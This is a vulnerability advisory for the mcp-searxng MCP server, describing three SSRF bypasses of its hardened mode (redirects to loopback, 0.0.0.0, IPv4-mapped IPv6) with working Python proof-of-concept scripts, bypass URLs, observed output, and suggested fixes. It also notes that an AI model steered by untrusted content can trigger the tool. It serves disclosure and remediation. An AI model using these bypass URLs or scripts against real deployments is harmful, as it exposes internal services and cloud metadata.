GHSA-wppf-h75h-6pm6: Infoleak

Published Aug 19, 2026
·
Updated

Summary

mcp-searxng has a hardened-mode URL-reading feature intended to prevent weburlread from reaching private or internal network resources.

PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.

However, several other hardened-mode SSRF bypasses still appear to remain:

1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target. 2. 0.0.0.0 is not treated as an internal/special address. 3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.

With hardened mode enabled and private URLs not explicitly allowed, weburlread was still able to fetch and return content from a local loopback sentinel service in all three cases.

Tested configuration

bash MCPHTTPHARDEN=true MCPHTTPALLOWPRIVATEURLS unset

The MCP server was driven over stdio.

The test target was a harmless internal sentinel HTTP service bound to:

text 127.0.0.1:6789

The sentinel response contained:

text INTERNALSECRETDATAmcpsearxngssrfpath2

Relationship to PR #79

I tested PR #79 locally:

- PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79 - PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4 - Base issue class: CWE-918 / SSRF in weburlread - Hardened mode: enabled

Observed results:

text Case Result on PR #79 ------------------------------------------------------------- DNS hostname resolving to 127.0.0.1 blocked 0.0.0.0 BYPASS [::ffff:127.0.0.1] BYPASS redirect from non-private IP to 127.0.0.1 BYPASS

So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.

Root cause

1. Redirect targets are not re-validated

The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.

A non-private attacker-controlled first-hop URL can respond with:

http 302 Location: http://127.0.0.1:6789/secret

The request is then followed to loopback.

This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.

2. 0.0.0.0 is not treated as internal

0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.

In my test, this URL returned the sentinel from the local loopback service:

text http://0.0.0.0:6789/secret

3. IPv4-mapped IPv6 canonicalization bypass

The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:

text ::ffff:127.0.0.1

However, Node's WHATWG URL parser canonicalizes:

js new URL("http://[::ffff:127.0.0.1]/").hostname

to:

text [::ffff:7f00:1]

As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.

In my test, this URL returned the loopback sentinel:

text http://[::ffff:127.0.0.1]:6789/secret

Impact

This is a hardened-mode SSRF bypass.

The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.

In real deployments, the same class of issue could allow weburlread to reach:

- local admin panels bound to loopback; - Redis, Elasticsearch, or other local HTTP-like services; - internal HTTP APIs on private networks; - service mesh endpoints; - cloud metadata endpoints, depending on routing and environment.

This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger weburlread with one of these bypass URLs.

Proof of Concept

1. Build the PR #79 branch

bash cd /home/exouser/Desktop mkdir -p searxngpr79test cd searxngpr79test

git clone --depth 1 \ -b fix/cwe918-url-reader-ssrf-4676 \ https://github.com/sebastiondev/mcp-searxng.git pr79

cd pr79 git rev-parse HEAD

npm install --no-audit --no-fund npm run build

ls -l dist/index.js

Expected PR commit:

text e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4

2. Start an internal sentinel service

This service represents an internal-only HTTP service reachable from the MCP server host.

bash cat > /tmp/searxngsentinelserver.py <<'PY' #!/usr/bin/env python3 import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789 SENTINEL = b"INTERNALSECRETDATAmcpsearxngssrfpath2"

class H(BaseHTTPRequestHandler): def doGET(self): body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>" self.sendresponse(200) self.sendheader("Content-Type", "text/html") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, fmt, args): sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))

def servev4(): HTTPServer(("127.0.0.1", PORT), H).serveforever()

def servev6(): try: import socket class HTTPServerV6(HTTPServer): addressfamily = socket.AFINET6 HTTPServerV6(("::1", PORT), H).serveforever() except Exception as e: sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")

threading.Thread(target=servev4, daemon=True).start() servev6() PY

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true nohup python3 /tmp/searxngsentinelserver.py 6789 >/tmp/searxngsentinel.log 2>&1 & sleep 1

curl -sS http://127.0.0.1:6789/secret

Expected output contains:

text INTERNALSECRETDATAmcpsearxngssrfpath2

3. PoC A: 0.0.0.0

bash cat > /tmp/poc0000.py <<'PY' #!/usr/bin/env python3 import json import os import subprocess import time import sys from pathlib import Path

REPO = Path("/home/exouser/Desktop/searxngpr79test/pr79") SERVER = REPO / "dist" / "index.js" SENTINEL = "INTERNALSECRETDATAmcpsearxngssrfpath2"

ENV = { "MCPHTTPHARDEN": "true", "MCPHTTPAUTHTOKEN": "poc-token", "MCPHTTPALLOWEDORIGINS": "http://localhost:9999", }

def send(p, o): p.stdin.write((json.dumps(o) + "\n").encode()) p.stdin.flush()

def recv(p, wantid, timeout=20): end = time.time() + timeout while time.time() < end: line = p.stdout.readline() if not line: time.sleep(0.05) continue try: m = json.loads(line.decode()) except Exception: continue if m.get("id") == wantid: return m raise TimeoutError()

def main(): url = "http://0.0.0.0:6789/secret" print(f"[poc] hardened-mode readurl url = {url!r}")

p = subprocess.Popen( ["node", str(SERVER)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=str(REPO), env={os.environ, ENV}, )

try: send(p, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "0"} } }) recv(p, 1)

send(p, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} })

send(p, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "weburlread", "arguments": { "url": url, "maxLength": 400 } } })

r = recv(p, 2) finally: try: p.terminate() p.wait(timeout=3) except Exception: p.kill()

text = json.dumps(r).replace("\\\\", "").replace("\\", "") if SENTINEL in text: print("[poc] RESULT: BYPASS — sentinel returned") try: print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200])) except Exception: pass sys.exit(0)

print("[poc] RESULT: blocked / failed") print(json.dumps(r)[:500]) sys.exit(1)

if name == "main": main() PY

python3 /tmp/poc0000.py

Observed:

text [poc] hardened-mode readurl url = 'http://0.0.0.0:6789/secret' [poc] RESULT: BYPASS — sentinel returned

4. PoC B: IPv4-mapped IPv6

bash sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \ /tmp/poc0000.py > /tmp/pocipv4mappedipv6.py

python3 /tmp/pocipv4mappedipv6.py

Observed:

text [poc] hardened-mode readurl url = 'http://[::ffff:127.0.0.1]:6789/secret' [poc] RESULT: BYPASS — sentinel returned

5. PoC C: redirect from a non-private first-hop address to loopback

This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.

bash sudo ip addr add 198.51.100.1/32 dev lo

cat > /tmp/redirectorpublic.py <<'PY' #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(302) self.sendheader("Location", "http://127.0.0.1:6789/secret") self.sendheader("Content-Length", "0") self.endheaders()

def logmessage(self, args, kwargs): pass

HTTPServer(("198.51.100.1", 6790), H).serveforever() PY

fuser -k 6790/tcp 2>/dev/null || true nohup python3 /tmp/redirectorpublic.py >/tmp/searxngredirectorpublic.log 2>&1 & sleep 1

curl -sSL http://198.51.100.1:6790/jump

The curl sanity check should return the internal sentinel.

Now run the MCP request:

bash sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \ /tmp/poc0000.py > /tmp/pocredirectpublictoloopback.py

python3 /tmp/pocredirectpublictoloopback.py

Observed:

text [poc] hardened-mode readurl url = 'http://198.51.100.1:6790/jump' [poc] RESULT: BYPASS — sentinel returned

Cleanup

bash fuser -k 6789/tcp 6790/tcp 2>/dev/null || true sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true

Reproduction note

NodeHtmlMarkdown escapes to \, so the sentinel may appear in the MCP response as:

text INTERNAL\SECRET\DATA\\mcp\searxng\ssrf\path2

When grepping or matching the response, either match against the escaped form or normalize \ back to .

Expected behavior

When hardened mode is enabled and private URLs are not explicitly allowed, weburlread should not be able to fetch loopback or internal resources through:

- direct special-address literals; - IPv4-mapped IPv6 literals; - redirect chains; - hostnames that resolve to private or internal addresses.

Actual behavior

With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:

text http://0.0.0.0:6789/secret http://[::ffff:127.0.0.1]:6789/secret http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret

Suggested fix

A complete fix likely needs more than a connect-time DNS lookup guard.

Suggested changes:

- Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it. - Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public. - Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1]. - Apply private-address checks to IP literals directly, not only through DNS lookup hooks. - Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching. - Add regression tests for: - redirect to 127.0.0.1; - 0.0.0.0; - [::ffff:127.0.0.1]; - hostname resolving to 127.0.0.1; - decimal IPv4 normalization remaining blocked.

Affected Software

1 affected componentFixes available
npm/mcp-searxng<1.2.1
1.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/mcp-searxng to a version that resolves this vulnerability.

    Fixed in 1.2.1

Event History

Aug 19, 2026
Advisory Published
via GitHub·07:23 PM
Data Sourced
via GitHub·07:23 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does enabling hardened mode prevent this issue?

No. The issue was reproduced with MCP_HTTP_HARDEN=true and MCP_HTTP_ALLOW_PRIVATE_URLS unset; web_url_read could still retrieve content from a service bound to 127.0.0.1:6789.

2

Which request patterns can still reach internal resources?

The reported bypasses are redirects from an allowed initial URL to a loopback or internal target, the 0.0.0.0 address, and IPv4-mapped IPv6 literals after URL canonicalization. Redirect targets are not revalidated in the reported scenario.

3

Does an attacker need credentials to exploit this?

The supplied CVSS vector indicates that no privileges are required (PR:N), but user interaction is required (UI:R).

4

How can an operator check whether their deployment is exposed?

In a controlled environment, test web_url_read against a harmless internal sentinel service while hardened mode is enabled and private URLs are not explicitly allowed. Exposure is indicated if content from the internal service is returned through a redirect, 0.0.0.0, or an IPv4-mapped IPv6 address.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203